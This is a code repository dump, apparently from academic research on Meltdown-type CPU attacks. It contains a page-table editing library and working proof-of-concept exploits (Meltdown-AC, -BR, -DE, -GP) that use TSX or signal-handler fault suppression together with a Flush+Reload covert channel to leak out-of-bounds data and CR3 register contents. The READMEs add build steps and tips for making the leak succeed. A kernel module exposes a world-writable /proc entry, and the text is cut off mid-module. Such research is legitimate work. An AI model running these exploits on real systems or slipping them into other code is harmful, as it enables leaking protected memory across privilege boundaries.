open(PTEDITOR_DEVICE_PATH, O_RDONLY); if (ptedit_fd < 0) { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: Could not open PTEditor device: %s\n", PTEDITOR_DEVICE_PATH); return -1; } ptedit_umem = open("/proc/umem", O_RDWR); #else ptedit_fd = CreateFile(PTEDITOR_DEVICE_PATH, GENERIC_ALL, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0); if (ptedit_fd == INVALID_HANDLE_VALUE) { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: Could not open PTEditor device: %ws\n", PTEDITOR_DEVICE_PATH); return -1; } ptedit_umem = 0; #endif #if defined(LINUX) ptedit_use_implementation(PTEDIT_IMPL_KERNEL); #elif defined(WINDOWS) ptedit_use_implementation(PTEDIT_IMPL_USER_PREAD); #endif // } #if defined(LINUX) ptedit_pagesize = getpagesize(); #else ptedit_pagesize = ptedit_get_pagesize(); #endif #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) ptedit_paging_definition.has_pgd = 1; ptedit_paging_definition.has_p4d = 0; ptedit_paging_definition.has_pud = 1; ptedit_paging_definition.has_pmd = 1; ptedit_paging_definition.has_pt = 1; ptedit_paging_definition.pgd_entries = 9; ptedit_paging_definition.p4d_entries = 0; ptedit_paging_definition.pud_entries = 9; ptedit_paging_definition.pmd_entries = 9; ptedit_paging_definition.pt_entries = 9; ptedit_paging_definition.page_offset = 12; #elif defined(__aarch64__) ptedit_paging_definition.has_pgd = 1; ptedit_paging_definition.has_p4d = 0; ptedit_paging_definition.has_pud = 0; ptedit_paging_definition.has_pmd = 1; ptedit_paging_definition.has_pt = 1; ptedit_paging_definition.pgd_entries = 9; ptedit_paging_definition.p4d_entries = 0; ptedit_paging_definition.pud_entries = 0; ptedit_paging_definition.pmd_entries = 9; ptedit_paging_definition.pt_entries = 9; ptedit_paging_definition.page_offset = 12; #endif return 0; } // --------------------------------------------------------------------------- void ptedit_cleanup() { #if defined(LINUX) if (ptedit_fd >= 0) { close(ptedit_fd); } if (ptedit_umem > 0) { close(ptedit_umem); } #else CloseHandle(ptedit_fd); #endif } // --------------------------------------------------------------------------- void ptedit_use_implementation(int implementation) { if (implementation == PTEDIT_IMPL_KERNEL) { #if defined(LINUX) ptedit_resolve = ptedit_resolve_kernel; ptedit_update = ptedit_update_kernel; #else fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: PTEditor implementation not supported on Windows"); #endif } else if (implementation == PTEDIT_IMPL_USER_PREAD) { ptedit_resolve = ptedit_resolve_user; ptedit_update = ptedit_update_user; ptedit_paging_root = ptedit_get_paging_root(0); } else if (implementation == PTEDIT_IMPL_USER) { #if defined(LINUX) ptedit_resolve = ptedit_resolve_user_map; ptedit_update = ptedit_update_user_map; ptedit_paging_root = ptedit_get_paging_root(0); if (!ptedit_vmem) { ptedit_vmem = (unsigned char*)mmap(NULL, 32ull << 30ull, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, ptedit_umem, 0); fprintf(stderr, PTEDIT_COLOR_GREEN "[+]" PTEDIT_COLOR_RESET " Mapped physical memory to %p\n", ptedit_vmem); } #else fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: PTEditor implementation not supported on Windows"); #endif } else { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET " Error: PTEditor implementation not supported!\n"); } } // --------------------------------------------------------------------------- int ptedit_get_pagesize() { #if defined(LINUX) return (int)ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAGESIZE, 0); #else SYSTEM_INFO sysinfo; GetSystemInfo(&sysinfo); return sysinfo.dwPageSize; #endif } // --------------------------------------------------------------------------- void ptedit_read_physical_page(size_t pfn, char* buffer) { #if defined(LINUX) if (ptedit_umem > 0) { if (pread(ptedit_umem, buffer, ptedit_pagesize, pfn * ptedit_pagesize) == -1) { return; } } else { ptedit_page_t page; page.buffer = (unsigned char*)buffer; page.pfn = pfn; ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_READ_PAGE, (size_t)&page); } #else DWORD returnLength; pfn *= ptedit_pagesize; DeviceIoControl(ptedit_fd, PTEDITOR_READ_PAGE, (LPVOID)&pfn, sizeof(pfn), (LPVOID)buffer, 4096, &returnLength, 0); #endif } // --------------------------------------------------------------------------- void ptedit_write_physical_page(size_t pfn, char* content) { #if defined(LINUX) if (ptedit_umem > 0) { if (pwrite(ptedit_umem, content, ptedit_pagesize, pfn * ptedit_pagesize) == -1) { return; } } else { ptedit_page_t page; page.buffer = (unsigned char*)content; page.pfn = pfn; ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_WRITE_PAGE, (size_t)&page); } #else DWORD returnLength; ptedit_page_t page; if (ptedit_pagesize != 4096) { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: page sizes other than 4096 not supported on Windows"); return; } page.paddr = pfn * ptedit_pagesize; memcpy(page.content, content, ptedit_pagesize); DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PAGE, (LPVOID)&page, sizeof(ptedit_page_t), (LPVOID)&page, sizeof(ptedit_page_t), &returnLength, 0); #endif } // --------------------------------------------------------------------------- size_t ptedit_get_paging_root(pid_t pid) { #if defined(LINUX) ptedit_paging_t cr3; cr3.pid = (size_t)pid; cr3.root = 0; ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_ROOT, (size_t)&cr3); return cr3.root; #else size_t cr3 = 0; DWORD returnLength; if(!pid) pid = GetCurrentProcessId(); DeviceIoControl(ptedit_fd, PTEDITOR_GET_CR3, (LPVOID)&pid, sizeof(pid), (LPVOID)&cr3, sizeof(cr3), &returnLength, 0); return (cr3 & ~0xfff); #endif } // --------------------------------------------------------------------------- void ptedit_set_paging_root(pid_t pid, size_t root) { ptedit_paging_t cr3; cr3.pid = (size_t)pid; cr3.root = root; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_ROOT, (size_t)&cr3); #else DWORD returnLength; if (!pid) pid = GetCurrentProcessId(); size_t info[2]; info[0] = pid; info[1] = root; DeviceIoControl(ptedit_fd, PTEDITOR_SET_CR3, (LPVOID)info, sizeof(info), (LPVOID)info, sizeof(info), &returnLength, 0); #endif } // --------------------------------------------------------------------------- void ptedit_invalidate_tlb(void* address) { #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_INVALIDATE_TLB, (size_t)address); #else size_t vaddr = (size_t)address; DWORD returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_FLUSH_TLB, (LPVOID)&vaddr, sizeof(vaddr), (LPVOID)&vaddr, sizeof(vaddr), &returnLength, 0); #endif } // --------------------------------------------------------------------------- int ptedit_switch_tlb_invalidation(int implementation) { #if defined(LINUX) return (int) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION, (size_t) implementation); #else NO_WINDOWS_SUPPORT #endif } // --------------------------------------------------------------------------- size_t ptedit_get_mts() { size_t mt = 0; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAT, (size_t)&mt); #else DWORD returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mt, sizeof(mt), (LPVOID)&mt, sizeof(mt), &returnLength, 0); #endif return mt; } // --------------------------------------------------------------------------- char ptedit_get_mt(unsigned char mt) { size_t mts = ptedit_get_mts(); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) return ((mts >> (mt * 8)) & 7); #elif defined(__aarch64__) return ((mts >> (mt * 8)) & 0xff); #endif } // --------------------------------------------------------------------------- const char* ptedit_mt_to_string(unsigned char mt) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) const char* mts[] = { "UC", "WC", "Rsvd", "Rsvd", "WT", "WP", "WB", "UC-", "Rsvd" }; if (mt <= 7) return mts[mt]; return NULL; #elif defined(__aarch64__) static char mts[16]; int i; mts[0] = 0; for (i = 0; i < 2; i++) { strcat(mts, i == 0 ? "I" : "O"); if ((mt & 0xf) == ((mt >> 4) & 0xf)) strcpy(mts, ""); switch ((mt >> (i * 4)) & 0xf) { case 0: strcat(mts, "DM"); break; case 1: /* Fall through */ case 2: /* Fall through */ case 3: strcat(mts, "WT"); break; case 4: strcat(mts, "UC"); break; case 5: /* Fall through */ case 6: /* Fall through */ case 7: strcat(mts, "WB"); break; case 8: /* Fall through */ case 9: /* Fall through */ case 10: /* Fall through */ case 11: strcat(mts, "WT"); break; case 12: /* Fall through */ case 13: /* Fall through */ case 14: /* Fall through */ case 15: strcat(mts, "WB"); } } return mts; #endif } // --------------------------------------------------------------------------- void ptedit_set_mts(size_t mts) { #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_PAT, mts); #else DWORD returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mts, sizeof(mts), (LPVOID)&mts, sizeof(mts), &returnLength, 0); #endif } // --------------------------------------------------------------------------- void ptedit_set_mt(unsigned char mt, unsigned char value) { size_t mts = ptedit_get_mts(); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) mts &= ~(7 << (mt * 8)); #elif defined(__aarch64__) mts &= ~(0xff << (mt * 8)); #endif mts |= ((size_t)value << (mt * 8)); ptedit_set_mts(mts); } // --------------------------------------------------------------------------- unsigned char ptedit_find_mt(unsigned char type) { size_t mts = ptedit_get_mts(); unsigned char found = 0; int i; for (i = 0; i < 8; i++) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) if (((mts >> (i * 8)) & 7) == type) found |= (1 << i); #elif defined(__aarch64__) if (((mts >> (i * 8)) & 0xff) == type) { found |= (1 << i); } else { unsigned char plow, phigh; plow = (mts >> (i * 8)) & 0xf; phigh = ((mts >> (i * 8)) >> 4) & 0xf; if ((plow == phigh) && (plow == type)) { found |= (1 << i); } } #endif } return found; } // --------------------------------------------------------------------------- int ptedit_find_first_mt(unsigned char type) { #if defined(LINUX) return __builtin_ffs(ptedit_find_mt(type)) - 1; #else DWORD index = 0; if (BitScanForward64(&index, ptedit_find_mt(type))) { return index; } else { return -1; } #endif } // --------------------------------------------------------------------------- size_t ptedit_apply_mt(size_t entry, unsigned char mt) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) entry &= ~((1ull << PTEDIT_PAGE_BIT_PWT) | (1ull << PTEDIT_PAGE_BIT_PCD) | (1ull << PTEDIT_PAGE_BIT_PAT)); if (mt & 1) entry |= (1ull << PTEDIT_PAGE_BIT_PWT); if (mt & 2) entry |= (1ull << PTEDIT_PAGE_BIT_PCD); if (mt & 4) entry |= (1ull << PTEDIT_PAGE_BIT_PAT); #elif defined(__aarch64__) entry &= ~0x1c; entry |= (mt & 7) << 2; #endif return entry; } // --------------------------------------------------------------------------- unsigned char ptedit_extract_mt(size_t entry) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) return (!!(entry & (1ull << PTEDIT_PAGE_BIT_PWT))) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PCD))) << 1) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PAT))) << 2); #elif defined(__aarch64__) return (entry >> 2) & 7; #endif } // --------------------------------------------------------------------------- void ptedit_full_serializing_barrier() { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) #if defined(LINUX) asm volatile("mfence\nlfence\n" ::: "memory"); #else MemoryBarrier(); #endif #elif defined(__aarch64__) asm volatile("DSB SY"); asm volatile("DSB ISH"); asm volatile("ISB"); #endif ptedit_set_paging_root(0, ptedit_get_paging_root(0)); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) #if defined(LINUX) asm volatile("mfence\nlfence\n" ::: "memory"); #else MemoryBarrier(); #endif #elif defined(__aarch64__) asm volatile("ISB"); asm volatile("DSB ISH"); asm volatile("DSB SY"); #endif } // --------------------------------------------------------------------------- void ptedit_pte_set_bit(void* address, pid_t pid, int bit) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; vm.pte |= (1ull << bit); vm.valid = PTEDIT_VALID_MASK_PTE; ptedit_update(address, pid, &vm); } // --------------------------------------------------------------------------- void ptedit_pte_clear_bit(void* address, pid_t pid, int bit) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; vm.pte &= ~(1ull << bit); vm.valid = PTEDIT_VALID_MASK_PTE; ptedit_update(address, pid, &vm); } // --------------------------------------------------------------------------- unsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit) { ptedit_entry_t vm = ptedit_resolve(address, pid); return !!(vm.pte & (1ull << bit)); } // --------------------------------------------------------------------------- size_t ptedit_pte_get_pfn(void* address, pid_t pid) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return 0; else return ptedit_get_pfn(vm.pte); } // --------------------------------------------------------------------------- void ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn) { ptedit_entry_t vm = ptedit_resolve(address, pid); if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; vm.pte = ptedit_set_pfn(vm.pte, pfn); vm.valid = PTEDIT_VALID_MASK_PTE; ptedit_update(address, pid, &vm); } ================================================ FILE: pocs/meltdown/AC/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ clean: rm -f poc_* ================================================ FILE: pocs/meltdown/AC/README.md ================================================ # Meltdown-AC PoC This folder contains a Meltdown-AC proof-of-concept implementation for x86_64. ## Compile Compile using `make x86` for the x86_64 version. ## Run Run with `./poc_x86` for x86_64. If the PoC is successfull the output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In this PoC, we first enable a char buffer via malloc (malloc always returns aligned memory) and increment by one. We then enable alignment checking by setting the corresponding bit in the EFLAGS register. To get an unaligned memory access, we access our incremented char buffer as an int pointer, causing it to be unaligned. We then try to encode the result in the cache. Exception suppression is done either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. ================================================ FILE: pocs/meltdown/AC/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SUPPRESS_FAULT 1 #define SECRET 'S' #if defined(__i386__) #define ENABLE_AC \ __asm__("pushf\norl $0x40000,(%esp)\npopf") #define DISABLE_AC \ __asm__("pushf\nandl $~(0x40000),(%esp)\npopf") #else #define ENABLE_AC \ __asm__("pushf\norl $0x40000,(%rsp)\npopf") #define DISABLE_AC \ __asm__("pushf\nandl $~(0x40000),(%rsp)\npopf") #endif int main(void) { char *buffer; int *p; pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc(pagesize * 256); memset(mem, 1, pagesize * 256); /* https://en.wikipedia.org/wiki/Bus_error */ /* malloc() always provides aligned memory */ buffer = malloc(sizeof(int) + 1); /* Increment the pointer by one, making it misaligned */ buffer++; *buffer = SECRET; printf("buffer contains: %d\n", *buffer); p = (int *) buffer; // Determine cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Flush our shared memory flush_shared_memory(); printf("Output legend:\n"); printf(" '0'.....Unaligned access sets register to 0\n"); printf(" '%c'.....Unaligned access leaks register value\n", '0' + *buffer); for(int r = 0; r < 1000000; r++) { // Make sure data is in cache maccess(buffer); // Enable alignment checks #if !defined(__aarch64__) ENABLE_AC; #endif #if SUPPRESS_FAULT if(try_start()) { #endif /* Dereference it as an int pointer, causing an unaligned access */ maccess(mem + ('0' + (*p)) * pagesize); #if SUPPRESS_FAULT try_abort(); } try_end(); #endif // Disable alignment checks #if !defined(__aarch64__) DISABLE_AC; #endif //Recover data from cache covert channel for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if(mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } } printf("Meltdown-AC done!\n"); printf("buffer contains: %d\n", *(buffer)); free(mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/BR/Makefile ================================================ ifndef MPX MPX = 1 endif ifndef TSX TSX = 0 endif ifndef LFENCE LFENCE = 0 endif ifeq ($(M32),1) CFLAGS += -m32 -DM32=1 endif ifeq ($(MPX),1) CFLAGS += -mmpx -fcheck-pointer-bounds endif CFLAGS += -DLFENCE=$(LFENCE) -DUSE_TSX=$(TSX) -I../../ all: x86 x86: main_x86 main_x86: main.c gcc $(CFLAGS) main.c -o poc_x86 clean: rm -f poc_* ================================================ FILE: pocs/meltdown/BR/README.md ================================================ # Meltdown-BR PoC This folder contains a Meltdown-BND and Meltdown-MPX proof-of-concept implementation for x86_64. ## Compile Compile using `make x86` for the x86_64 version. ## Run Run with `./poc_x86` for x86_64. The expected output is ``` dog[0] = 'a' (recovered 'a') dog[1] = 'b' (recovered 'b') dog[2] = 'c' (recovered 'c') dog[3] = 'x' (recovered 'x') PF 0: dog[4] = 'y' (recovered 'y') ``` ## How it works In our PoC, we map a piece of memory that we want to protect either the x86 bound instruction or via Intel MPX. After doing the setup for protecting the data, we access the data and encode it in the cache. We suppress the bound-range-exceeded exception either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. ================================================ FILE: pocs/meltdown/BR/main.c ================================================ #define _GNU_SOURCE #include "libcache/cacheutils.h" #include #include #include #include #include #include #include char mem2[4096 * 256]; #define DOG_STR "abcx" #define PWD_STR "yyyy" #define DOG_LEN strlen(DOG_STR) #define PWD_LEN strlen(PWD_STR) #define FR_START 'a' #define FR_END 'z' // Define the bounds for the dog struct { uint32_t low; uint32_t high; } my_dog_bounds = { .low = 0, .high = DOG_LEN }; char *buffer; int idx = 0, fault = 0, fault_recovered = 0; void fault_handler(int no) { int i; fault_recovered = 0; // Recover the data from the covert channel for (i = FR_START; i < FR_END; i++) { if (flush_reload(mem2 + i * 4096)) { fault_recovered = i; break; } } printf("PF %d: dog[%d] = '%c' (recovered '%c')\n", fault++, idx, buffer[idx], fault_recovered ? i : 'x'); /* resolve faulting BOUND to retry */ #if __MPX__ exit(0); #else my_dog_bounds.high += PWD_LEN; #endif } int __attribute__((aligned(0x1000))) dummy; int main(void) { int status, i; char c = 'X'; // Install signal handler signal(SIGSEGV, fault_handler); memset(mem2, 1, sizeof(mem2)); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); buffer = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); strcpy(buffer, DOG_STR PWD_STR); // Flush our shared memory for (i = 0; i < 256; i++) { flush(mem2 + i * 4096); } for (idx = 0; idx < DOG_LEN + PWD_LEN; idx++) { // Ensure data is in the cache maccess(buffer); unsigned status; // Define the bounds for the dog #if __MPX__ void *p = __bnd_set_ptr_bounds(buffer, DOG_LEN); #else my_dog_bounds.high = DOG_LEN; #endif // tsx begin #if USE_TSX asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); if (status == (~0u)) { #endif /* high-latency access to prolong transient execution beyond fault */ maccess(&dummy); /* explicit check to allow LFENCE insertion */ #if __MPX__ __bnd_chk_ptr_bounds(p, idx+1); #else asm("bound %0, (my_dog_bounds)\n\t" : : "r" (idx+1) : ); #endif #if LFENCE nospec(); #endif // Illegal access to data c = buffer[idx]; // Encode data in the cache maccess(mem2 + c*4096); // tsx end #if USE_TSX asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); } else { c = 'X'; fault_recovered = 1; } #endif // Recover data from the cache for (i = FR_START; i < FR_END; i++) { if (flush_reload(mem2 + i * 4096)) { break; } } flush(&dummy); if((idx >= DOG_LEN) && !fault_recovered) idx--; else printf("dog[%d] = '%c' (recovered '%c')\n", idx, c, i); } printf("Meltdown-BR done!\n"); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/DE/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ clean: rm -f poc_* ================================================ FILE: pocs/meltdown/DE/README.md ================================================ # Meltdown-DE PoC This folder contains a Meltdown-DE proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. If the PoC is successfull the output is ``` d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d ``` This indicates that the register is set to 0 and that Meltdown-DE does not work based on our PoC (we encourage testing other approaches). ## How it works In this PoC, we encode try to encode the result of a division by zero in the cache that we subsequently want to leak using Flush+Reload. We prevent the exception from being raised either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/meltdown/DE/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include "libcache/cacheutils.h" volatile int d = 0; int main(void) { pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Flush our shared memory flush_shared_memory(); printf("Output legend:\n"); printf(" '3'.....Division sets register to 0\n"); printf(" 'd'.....Division does not change register\n\n"); for(int r = 0; r < 1000000; r++) { if(try_start()) { // Null pointer access makes attack better maccess(0); // Encode result of division in the cache maccess(mem + ('1' / d + '3') * 4096); try_abort(); } try_end(); // Recover data from the cache for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if(flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } sched_yield(); } printf("Meltdown-DE done!\n"); free(mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/GP/Makefile ================================================ all: x86 x86: main_x86 module/kernel_module.ko: module/kernel_module.c cd module && make main_x86: main.c module/kernel_module.ko gcc main.c -o poc_x86 -O3 -I../../ clean: rm -f poc_* && cd module && make clean ================================================ FILE: pocs/meltdown/GP/README.md ================================================ # Meltdown-GP PoC This folder contains a Meltdown-GP proof-of-concept implementation for x86_64. For ARM, we used the PoC from https://github.com/lgeek/spec_poc_arm. ## Compile Compile using `make x86` for the x86_64 version. ## Run Run with `./poc_x86` for x86_64. The expected output depends on the content of the cr3 register. ## How it works In this PoC, we encode the content of the cr3 register in the cache. This triggers a general-protection fault as the cr3 is a privileged reggister. We suppress this exception either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. ================================================ FILE: pocs/meltdown/GP/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include "libcache/cacheutils.h" int main(int argc, char **argv) { pagesize = sysconf(_SC_PAGESIZE); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // print CR3 register content pid_t pid = getpid(); char pid_s[64]; // get CR3 register for running process sprintf(pid_s, "echo %zd > /proc/cr3; cat /proc/cr3", (size_t)pid); printf("PID: %zd\n", (size_t)pid); printf("CR3: "); fflush(stdout); (void)system(pid_s); printf("\n"); // Allocate and align shared memory char *_mem = malloc(pagesize * 300); mem = (char*)((size_t)_mem & ~(pagesize - 1)) + pagesize * 2; memset(mem, 0, pagesize * 290); // Flush our shared memory flush_shared_memory(); while(1) { // Start TSX if(try_start()) { // Null pointer access prolongs transient window maccess(0); // Encode content of the CR3 register in the cache asm volatile("movq %%cr3, %%rax\n" "andq $0xff000, %%rax\n" "movq (%%rbx,%%rax,1), %%rbx\n" : : "b"(mem) : "rax"); try_abort(); } try_end(); int i; // Recover data from the covert channel for(i = 0; i < 256; i++) { if(flush_reload(mem + i * pagesize)) { printf("%x ", i); fflush(stdout); sched_yield(); } } sched_yield(); } free(_mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/GP/module/Makefile ================================================ obj-m += kernel_module.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ================================================ FILE: pocs/meltdown/GP/module/kernel_module.c ================================================ #include #include #include #include #include #include #include #include #include #include static unsigned long cr3_val = 0; static struct mm_struct *get_mm(size_t pid) { struct task_struct *task; struct pid *vpid; /* Find mm */ task = current; if(pid != 0) { vpid = find_vpid(pid); if(!vpid) return NULL; task = pid_task(vpid, PIDTYPE_PID); if(!task) return NULL; } if(task->mm) { return task->mm; } else { return task->active_mm; } return NULL; } unsigned long pid_to_cr3(size_t pid) { struct mm_struct *mm = get_mm(pid); void *cr3_virt; unsigned long cr3_phys; if(mm) { cr3_virt = (void *)mm->pgd; cr3_phys = virt_to_phys(cr3_virt); return cr3_phys; } else { printk(KERN_INFO "No process found"); return 0; } } static int my_proc_show(struct seq_file *m, void *v) { seq_printf(m, "0x%zx\n", cr3_val); return 0; } static ssize_t my_proc_write(struct file *file, const char __user *buffer, size_t count, loff_t *f_pos) { char tmp[32]; if(copy_from_user(tmp, buffer, 32)) { return EFAULT; } cr3_val = pid_to_cr3(simple_strtol(tmp, NULL, 0)); return count; } static int my_proc_open(struct inode *inode, struct file *file) { return single_open(file, my_proc_show, NULL); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) static struct proc_ops my_ops = {.proc_open = my_proc_open, .proc_release = single_release, .proc_read = seq_read, .proc_lseek = seq_lseek, .proc_write = my_proc_write}; #else static struct file_operations my_ops = {.owner = THIS_MODULE, .open = my_proc_open, .release = single_release, .read = seq_read, .llseek = seq_lseek, .write = my_proc_write}; #endif static int __init hello_init(void) { struct proc_dir_entry *entry; entry = proc_create("cr3", 0777, NULL, &my_ops); if(!entry) { return -1; } else { printk(KERN_INFO "create proc file 